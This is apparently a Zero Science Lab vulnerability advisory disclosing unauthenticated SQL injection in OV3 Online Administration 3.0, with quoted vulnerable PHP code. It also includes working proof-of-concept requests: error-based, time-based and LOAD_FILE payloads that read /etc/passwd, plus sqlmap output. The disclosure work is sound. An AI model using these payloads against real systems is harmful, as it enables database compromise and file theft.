1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 |
OV3 Online Administration 3.0 Multiple Unauthenticated SQL Injection Vulnerabilities Vendor: novaCapta Software & Consulting GmbH Product web page: http://www.meacon.de Affected version: 3.0 Summary: With the decision to use the OV3 as a platform for your data management, the course is set for scalable, flexible and high-performance applications. Whether you use the OV3 for your internal data management or use it for commercial business applications such as shops, portals, etc. Thanks to the data-based structure of the OV3, you always have the best tool at your fingertips. The OV3 is a 100% web-based tool. This eliminates the need to install a new software on all participating client computers. All elements are operated by a standard browser. Further advantages are the location-dependent use and - particularly with ASP solutions - the reduced costs for local hardware like own servers and modern client workstations. Desc: OV3 suffers from multiple SQL Injection vulnerabilities. Input passed via multiple GET and POST parameters, including the User-Agent HTTP header, is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Tested on: CentOS release 6.8 (Final) PHP/5.3.3 Apache/2.2.15 MySQL/5.0.11 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5412 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5412.php 26.12.2016 -- The application is using some functions for escaping special characters and boolean checks, but in many scripts there are plenty of vulnerabilities identified. One of the vulnerable variables is "u_id" which is called via the login POST parameter. When visiting the application, ov3.php gets loaded as main index which includes session.inc file that contains the admin functions and the main functions for session management. ============================================================================================ /ov3.php: --------- 21: if(db_connect()!=false){ 22: include($ov3_path."admin/session_management/session.inc"); 23: include($ov3_path."admin/functions/functions.inc"); 24: 25: // Escapen wichtiger Variablen 26: $sid = addslashes($sid); 27: $lang = addslashes($lang); 28: 29: // Session ueberpruefen bzw. anlegen 30: $u_info=check_session($sid); ============================================================================================ The vulnerabilities can be triggered in four session functions: new_session(), check_session(), session_info() and check_login(). The db_exec() result query on line 22 or 74 is not using safe functions when using the HTTP_USER_AGENT for parsing the User-Agent HTTP header contents. ============================================================================================ /admin/session_management/session.inc: -------------------------------------- 18: function check_session($sid){ 19: global $no_ip, $ip_check, $db,$OV_SESSION_NO_IP; 20: 21: if($sid==""){return -2;} // keine SID geliefert 22: $result=db_exec("SELECT s_valid_time,u_id,c_id,ip_addr FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".addslashes($sid)."' and user_agent=".$db[DB_SYSTEM]['uc_prefix']."'".substr(getenv("HTTP_USER_AGENT"),0,127)."'", __FILE__, __LINE__); 23: if(db_rows($result)!=1){return -1;} 24: // Session existiert 25: $data = db_fetch_array($result,""); 26: db_free($result); 27: unset($result); 28: if($data["s_valid_time"] < time()){return -3;}// Session Zeit abgelaufen 29: if(!isset($OV_SESSION_NO_IP) || !$OV_SESSION_NO_IP[$data['c_id']]===true){ 30: // IP check 31: $nFirstThreeBytes = strrpos(getenv ("REMOTE_ADDR"),"."); 32: //echo substr($data['ip_addr'],0,$nFirstThreeBytes)." ".substr(getenv ("REMOTE_ADDR"),0,$nFirstThreeBytes); 33: if(substr($data['ip_addr'],0,$nFirstThreeBytes) != substr(getenv ("REMOTE_ADDR"),0,$nFirstThreeBytes)){ 34: return -4; // ip stimmt nicht 35: } 36: } 37: touch_session($sid); 38: return $data; 39: } .... .... 60: function new_session() { 61: global $session_time, $db; 62: 63: // microtime ist nur uf Unix Systemen verfuegbar. sonst: time() 64: if (OV_DEBUG==false) { 65: srand(microtime() * 1000000); 66: $sid=md5(uniqid(rand())); 67: } else { 68: $sid = $_GET['temp_sid']; 69: db_exec("DELETE FROM ov_sessions WHERE sid='".$_GET['temp_sid']."'"); 70: } 71: 72: $time=time(); 73: 74: db_exec("INSERT INTO ov_sessions (sid, s_time,s_valid_time,ip_addr,user_agent) values (".$db[DB_SYSTEM]['uc_prefix']."'".$sid."', $time, ".($time+$session_time).", ".$db[DB_SYSTEM]['uc_prefix']."'".getenv("REMOTE_ADDR")."', ".$db[DB_SYSTEM]['uc_prefix']."'".substr(getenv("HTTP_USER_AGENT"),0,127)."')", __FILE__, __LINE__); 75: 76: unset($time); 77: return $sid; 78: } ============================================================================================ The following PoC request demonstrates the issue: GET /ov3.php?todo=manager&manager=home&sub=profile&mode=show&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1 Host: 127.0.0.1 Upgrade-Insecure-Requests: 1 User-Agent: ZSL/3.0' Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 DNT: 1 Connection: close Response: HTTP/1.1 200 OK Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Content-Length: 2400 Connection: close Content-Type: text/html You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''ZSL/3.0''' at line 1<br>SELECT s_valid_time,u_id,c_id,ip_addr FROM ov_sessions WHERE sid='ba2211a30f4d1b395ca5c987eda4TEST' and user_agent='ZSL/3.0''<br>File: /opt/www/admin/session_management/session.inc<br>Line: 22<br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''ZSL/3.0'')' at line 1<br>INSERT INTO ov_sessions (sid, s_time,s_valid_time,ip_addr,user_agent) values ('78bed236c22de53aa235a2978bfad608', 1487616926, 1487624126, '127.0.0.1', 'ZSL/3.0'')<br>File: /opt/www/admin/session_management/session.inc<br>Line: 74 Going back to other parameters, multiple vectors available: ============================================================================================ /admin/session_management/session.inc: -------------------------------------- 90: function session_info($sid,$value){ 91: global $u_id, $db; 92: 93: switch($value){ 94: case "admin": 95: $result=db_exec("SELECT c_id,u_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__); 96: $session_array=db_fetch_assoc($result,""); 97: $ret=$session_array["c_id"]."/".$session_array["u_id"]; 98: break; 99: case "client": 100: $result=db_exec("SELECT client_auth FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__); 101: list($ret)=db_fetch_row($result,""); 102: break; 103: case "time": 104: $result=db_row("SELECT s_time FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'"); 105: list($ret)=db_fetch_row($result,""); 106: break; 107: case 'ip': 108: $result=db_exec("SELECT ip_addr FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__); 109: list($ret)=db_fetch_row($result,""); 110: break; 111: case'u_id': 112: $result=db_exec("SELECT u_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__); 113: list($ret)=db_fetch_row($result,""); 114: break; 115: case'c_id': 116: $result=db_exec("SELECT c_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__); 117: list($ret)=db_fetch_row($result,""); 118: break; 119: case'login': 120: $ret=session_info($sid, "u_id"); 121: $result=db_exec("SELECT u_name FROM ov_adminusers WHERE u_id=".$ret, __FILE__, __LINE__); 122: list($ret)=db_fetch_row($result,""); 123: break; .... .... 279: function check_login($sid,$login,$pwd){ 280: global $browser, $system, $ver, $lang, $login_mess, $gui, $sn_cl, $db; 281: 282: // Check, ob browser ueberhaupt akzeptabel 283: $browser_ok = db_get_val("SELECT admin_browser_ok FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'"); 284: 285: if($browser_ok!=1){ 286: $ret=false; 287: $login_mess=$gui["login"]["browser_zu_alt"]; 288: } else { 289: if(empty($login) && empty($pwd)){ 290: $ret=false; 281: $login_mess=$gui["login"]["fehlt_name_und_pwd"];//"Bitte Loginname und Passwort eingeben"; 282: } elseif(empty($login)){ 283: $ret=false; 284: $login_mess=$gui["login"]["fehlt_name"];//"Bitte Loginname eingeben"; 285: } elseif(empty($pwd)){ 286: $ret=false; 287: $login_mess=$gui["login"]["fehlt_pwd"];//"Bitte Passwort eingeben"; 288: } else{ 289: $sql="SELECT ".db_convert("limit0",""," 1")." c_id,u_id,u_pwd,u_logtime FROM ov_adminusers WHERE u_name=".$db[DB_SYSTEM]['uc_prefix']."'".$login."' and (active=1 or active=-2) ".db_convert("limit1",""," 1"); 290: $result=db_exec($sql, __FILE__, __LINE__); ============================================================================================ PoC request using sqlmap LOAD_FILE(/etc/passwd): ------------------------------------------------ POST /ov3.php?todo=login&admin=login&sid=93be715421fafd53acfa1e90aa4dTEST&stamp=1234567890&lang=de HTTP/1.1 Origin: http://127.0.0.1 Content-Length: 373 Accept-Language: en-US,en;q=0.8 Accept-Encoding: gzip, deflate Host: 127.0.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Upgrade-Insecure-Requests: 1 Dnt: 1 Connection: close Cache-Control: max-age=0 User-Agent: ZSL/3.0 Content-Type: application/x-www-form-urlencoded login=sql' AND (SELECT 9673 FROM(SELECT COUNT(*),CONCAT(0x71626a7871,(MID((IFNULL(CAST(LENGTH(LOAD_FILE(0x2f6574632f706173737764)) AS CHAR),0x20)),1,54)),0x716b7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- yoVM&pwd=test&browser=ns&ver=6&system=mac Output: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown ... ... Output from sqlmap: ------------------- # python sqlmap.py -r request.txt --dbms=MySQL -f --hostname -p login --tor --time-sec=15 [*] starting at 00:36:07 [00:36:07] [INFO] parsing HTTP request from 'request.txt' [00:36:07] [INFO] setting Tor SOCKS proxy settings [00:36:07] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: login (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: login=sql' RLIKE (SELECT (CASE WHEN (2881=2881) THEN 0x73716c ELSE 0x28 END))-- pMGL&pwd=test&browser=ns&ver=6&system=mac Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: login=sql' AND (SELECT 4371 FROM(SELECT COUNT(*),CONCAT(0x71626a7871,(SELECT (ELT(4371=4371,1))),0x716b7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jFHk&pwd=test&browser=ns&ver=6&system=mac Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind Payload: login=sql' OR SLEEP(15)-- iSlp&pwd=test&browser=ns&ver=6&system=mac --- [00:36:08] [INFO] testing MySQL [00:36:08] [INFO] confirming MySQL [00:36:08] [INFO] the back-end DBMS is MySQL [00:36:08] [INFO] actively fingerprinting MySQL [00:36:14] [INFO] executing MySQL comment injection fingerprint [00:36:15] [WARNING] unable to perform MySQL comment injection web server operating system: Linux CentOS 6.8 web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: active fingerprint: MySQL >= 5.0.11 and < 5.0.19 [00:36:15] [INFO] fetching server hostname [00:36:15] [INFO] resumed: zslab.local hostname:'zslab.local' [00:36:15] [INFO] fetched data logged to text files under '/Users/thricer/.sqlmap/output/zslab.local' [*] shutting down at 00:36:15 # Another example using the "ls[typedef]" POST parameter: ============================================================================================ /admin/manager/media/display.inc: --------------------------------- 268: $result=db_exec($sql." ".$sortby, __FILE__, __LINE__); ============================================================================================ Request: POST /ov3.php?todo=manager&manager=media&sub=display&show=1&ls[small]=&ls[iname]=&ls[size]=&ls[editkey]=&ls[width]=&ls[height]=&ls[mwidth]=&ls[mheight]=&ls[typedef]=*** SQL INJECT ***&ls[edit]=&ls[ov_edit]=&ls[scheme]=&ls[language_id]=&ls[search]=&ls[dsearch]=&ls[type]=&ls[context]=&ls[preview]=&ls[module]=&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1 Host: 127.0.0.1 Content-Length: 128 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: ZSL/3.0 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: ov3pm=8306b8f9eb7d5f0b319c49f61933d896 DNT: 1 Connection: close rs%5Bsearch%5D=ab&rs%5Bdsearch%5D=&rs%5Btype%5D=&rs%5Bcontext%5D=&rs%5Bmodule%5D=&rs%5Bscheme%5D=&rs%5Bedit%5D=&rs%5Beditkey%5D= Response: HTTP/1.1 200 OK Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Content-Length: 7154 Connection: close Content-Type: text/html You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' ORDER BY file_name ASC' at line 1<br>SELECT params, media_data_1337.locked, media_data_1337.locked_by, id, media_data_1337.changed, type, file_internal, file_name, size, media_data_1337.description,copyright,scheme_id,instances FROM media_data_1337 WHERE (file_name LIKE '%ab%' OR file_internal LIKE '%ab%') andtype=''' ORDER BY file_name ASC<br>File: /opt/www/admin/manager/media/display.inc<br>Line: 268<br><html> POST parameters "rs[module]", "rs[path]" and "rs[edit_id]" via /admin/functions/functions.inc on line 499 also allows the attacker to easily break out of the query by using the single quote character getting a detailed sql syntax error disclosing the file path and table names: 499: $result=db_exec("SELECT COUNT(*) AS num FROM tasklists_".$c_id." WHERE (tl_pos=0 AND m_id=".$module." AND language_id='".$language_id."') OR (tl_pos=0 AND m_id=-1)", __FILE__, __LINE__); Request: POST /ov3.php?todo=manager&manager=task&sub=show&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1 Host: 127.0.0.1 Content-Length: 115 Cache-Control: max-age=0 Origin: http://127.0.0.1 Upgrade-Insecure-Requests: 1 User-Agent: ZSL/3.0 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: ov3pm=8306b8f9eb7d5f0b319c49f61933d896 DNT: 1 Connection: close rs%5Bstatus%5D=0&rs%5Bmodule%5D='&rs%5Btask_language%5D=&rs%5Bpath%5D=&rs%5Bsmall%5D=&rs%5Bedit%5D=&rs%5Beditkey%5D= Response: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br>SELECT m_multilingual FROM ov_data WHERE m_id=\'<br>File: <br>Line: <br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND language_id='') OR (tl_pos=0 AND m_id=-1)' at line 1<br>SELECT COUNT(*) AS num FROM tasklists_5575 WHERE (tl_pos=0 AND m_id=\' AND language_id='') OR (tl_pos=0 AND m_id=-1)<br>File: /opt/www/admin/functions/functions.inc<br>Line: 499<br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br>SELECT m_name FROM ov_data WHERE m_id=\'<br>File: <br>Line: PoC SQL Injection via GET requests: ----------------------------------- GET /ov3.php?todo=manager&manager=task&sub=show&rs[status]=2&rs[module]='&rs[path]=&rs[changed]=0&&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1 GET /ov3.php?todo=manager&manager=user&sub=profile&do=show&rs[edit_id]=1483825'&rs[home]=1&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1 |